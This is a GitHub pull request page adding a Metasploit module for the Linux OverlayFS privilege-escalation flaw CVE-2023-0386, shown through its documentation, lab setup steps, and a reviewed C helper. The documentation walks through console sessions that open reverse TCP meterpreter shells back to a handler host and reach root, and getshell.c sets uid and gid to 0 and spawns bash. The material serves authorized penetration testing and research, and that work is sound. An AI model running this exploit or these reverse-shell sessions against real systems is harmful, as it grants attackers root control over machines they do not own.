Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386 #19441

Merged
merged 34 commits into from
Sep 26, 2024
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
Show all changes
34 commits
Select commit Hold shift + click to select a range
3d20dd6
Add module:
Takahiro-Yoko Sep 5, 2024
216590f
Add last blank line
Takahiro-Yoko Sep 5, 2024
afb8c6c
Strip comments
Takahiro-Yoko Sep 5, 2024
dc81711
Make timeout user configurable
Takahiro-Yoko Sep 5, 2024
b243b86
Update modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Takahiro-Yoko Sep 5, 2024
920ef70
Exploit dir existing check
Takahiro-Yoko Sep 6, 2024
1cc562c
Use mkdir function
Takahiro-Yoko Sep 6, 2024
cd97b08
Move C code to separate file
Takahiro-Yoko Sep 6, 2024
7a921bb
Update modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Takahiro-Yoko Sep 6, 2024
ccc4727
Update external/source/exploits/CVE-2023-0386/exploit.c
Takahiro-Yoko Sep 6, 2024
d4ac300
Fix typo
Takahiro-Yoko Sep 6, 2024
a40fbb2
Remove unnecessary check
Takahiro-Yoko Sep 6, 2024
b34e807
Remove unnecessary directory existing check
Takahiro-Yoko Sep 6, 2024
72a9164
Update pre-compiled binary
Takahiro-Yoko Sep 6, 2024
fd7321d
Strip_comments
Takahiro-Yoko Sep 6, 2024
9e832eb
Use exploit_path variable
Takahiro-Yoko Sep 7, 2024
731780c
Formatting
Takahiro-Yoko Sep 7, 2024
2b63f8b
Rename exploit
Takahiro-Yoko Sep 7, 2024
692531b
Call payload directory
Takahiro-Yoko Sep 7, 2024
8366252
Not call payload directory
Takahiro-Yoko Sep 7, 2024
212c96d
Add last blank line
Takahiro-Yoko Sep 7, 2024
8ddf8a0
Remove options
Takahiro-Yoko Sep 7, 2024
dd93284
Remove unused variables
Takahiro-Yoko Sep 8, 2024
b8f1bc3
Update doc
Takahiro-Yoko Sep 8, 2024
6b64640
Update doc
Takahiro-Yoko Sep 9, 2024
30704c4
Remove unnecessary strip_comments
Takahiro-Yoko Sep 15, 2024
33152bf
Update external/source/exploits/CVE-2023-0386/cve_2023_0386.c
Takahiro-Yoko Sep 23, 2024
130f146
Apply suggestions from code review
Takahiro-Yoko Sep 23, 2024
a10459e
Formatting exploit
Takahiro-Yoko Sep 23, 2024
6d541b6
Remove unnecessary shell_path
Takahiro-Yoko Sep 23, 2024
75329cc
Add ;
Takahiro-Yoko Sep 23, 2024
7558300
Update exploit binary and remove unnecessary
Takahiro-Yoko Sep 23, 2024
e89e573
Update exploit binary
Takahiro-Yoko Sep 24, 2024
3e6572a
Update binary
bwatters-r7 Sep 26, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added data/exploits/CVE-2023-0386/cve-2023-0386
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,152 @@
## Vulnerable Application

This exploit targets the Linux kernel bug in OverlayFS.

A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities
was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.
This uid mapping bug allows a local user to escalate their privileges on the system.

The vulnerability affects:

* Linux kernel from (including) 5.11 up to (excluding) 5.15.91 and from (including) 5.16 Up to (excluding) 6.1.9

This module was successfully tested on:

* Ubuntu kernel version 5.13.0-1021-oem on x64/amd64

### Install

1. Install Ubuntu version 22.04 LTS
2. (Optional) Change kernel version
```
sudo apt update
sudo apt install -y linux-image-5.13.0-1021-oem linux-headers-5.13.0-1021-oem
reboot
```
3. Install the required libraries
```
sudo apt update
sudo apt install -y gcc cmake fuse libfuse-dev libcap-dev
```

## Verification Steps

1. Make an Ubuntu
2. Create a meterpreter or shell payload and upload it to the Ubuntu target
3. Set up a handler for the payload
4. Launch the payload as a regular user on the Ubuntu target and connect the handler
5. Do: `use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc`
6. Do: `run session=<session> lhost=<lhost>`
7. You should get a root

## Options

### COMPILE (required)

[Auto|True|False] This selects the binary to use. True will upload the source code and perform
compilation on target, False will upload a precompiled binary. AUTO will favor compiling on target
but will fall back to the precompiled option if a compiler cannot be found.
The default value is `Auto`

### WritableDir (required)
This indicates the location where you would like the payload and exploit binary stored, as well
as serving as a location to store the various files and directories created by the exploit itself.
The default value is `/tmp`

## Scenarios
### Ubuntu 5.13.0-1021-oem x64/amd64 COMPILE=Auto
```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Sending stage (3045380 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:54776) at 2024-09-05 22:48:42 +0900

meterpreter > getuid
Server username: ubu
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=Auto

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.13.0
[*] Writing '/tmp/.a4HSc5ks' (334 bytes) ...
[*] Launching exploit...
[*] Sending stage (3045380 bytes) to 192.168.56.102
[+] Deleted /tmp/.a4HSc5ks
[+] Deleted /tmp/.Smx0d11hH
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.102:54778) at 2024-09-05 22:49:28 +0900

meterpreter > getuid
Server username: root
```

### Ubuntu 5.13.0-1021-oem x64/amd64 COMPILE=True
```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Sending stage (3045380 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:54710) at 2024-09-05 22:45:40 +0900

meterpreter > getuid
Server username: ubu
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=True

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.13.0
[*] Writing '/tmp/.uKkt1jtoJ' (334 bytes) ...
[*] Launching exploit...
[*] Sending stage (3045380 bytes) to 192.168.56.102
[+] Deleted /tmp/.uKkt1jtoJ
[+] Deleted /tmp/.oaqii9pj
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.102:54712) at 2024-09-05 22:46:19 +0900

meterpreter > getuid
Server username: root
```

### Ubuntu 5.13.0-1021-oem x64/amd64 COMPILE=False
```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Sending stage (3045380 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:54616) at 2024-09-05 22:36:45 +0900

meterpreter > getuid
Server username: ubu
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=False

[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.13.0
[*] Writing '/tmp/.9tZar0/cve-2023-0386' (2215928 bytes) ...
[*] Writing '/tmp/.Z37h3bkJpw' (334 bytes) ...
[*] Launching exploit...
[*] Sending stage (3045380 bytes) to 192.168.56.102
[+] Deleted /tmp/.Z37h3bkJpw
[+] Deleted /tmp/.9tZar0
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.102:54618) at 2024-09-05 22:37:31 +0900

meterpreter > getuid
Server username: root
```
21 changes: 21 additions & 0 deletions external/source/exploits/CVE-2023-0386/getshell.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


int main(int argc, char const *argv[]) {
if (setuid(0) < 0) {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You're using setuid and setgid here, but also in the payload?
Since the set commands are supported in the binary payloads, I don't think this is needed unless we're supporting ARCH_CMD payloads, and I don't see you using them here?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

EDIT- I don't think you need this; I think we can directly call the binary payload from within the exploit code itself.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you!
cd97b08 does not need setuid and setgid.
Seems like 692531b and 8366252 need setuid and setgid, despite setting in the payload.

perror("setuid");
return -1;
}

if (setgid(0) < 0) {
perror("setgid");
return -1;
}

system("/bin/bash");
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we instead call the binary payload directly here?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you!
I've tested directly calling payload using cd97b08 and 692531b (latter needs to set setuid and setgid in C code).
Seems like directly calling payload takes some time (about 1 min) to really open Meterpreter session after Meterpreter session opened message.

This one (not directly calling payload) is much faster (about a few sec). 8366252 (needs to set setuid and setgid in C code).

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think adding the setuid and setgid in the C is a better path- fewer compiles and worth a little longer wait, but that's just my opinion.


return 0;
}
Loading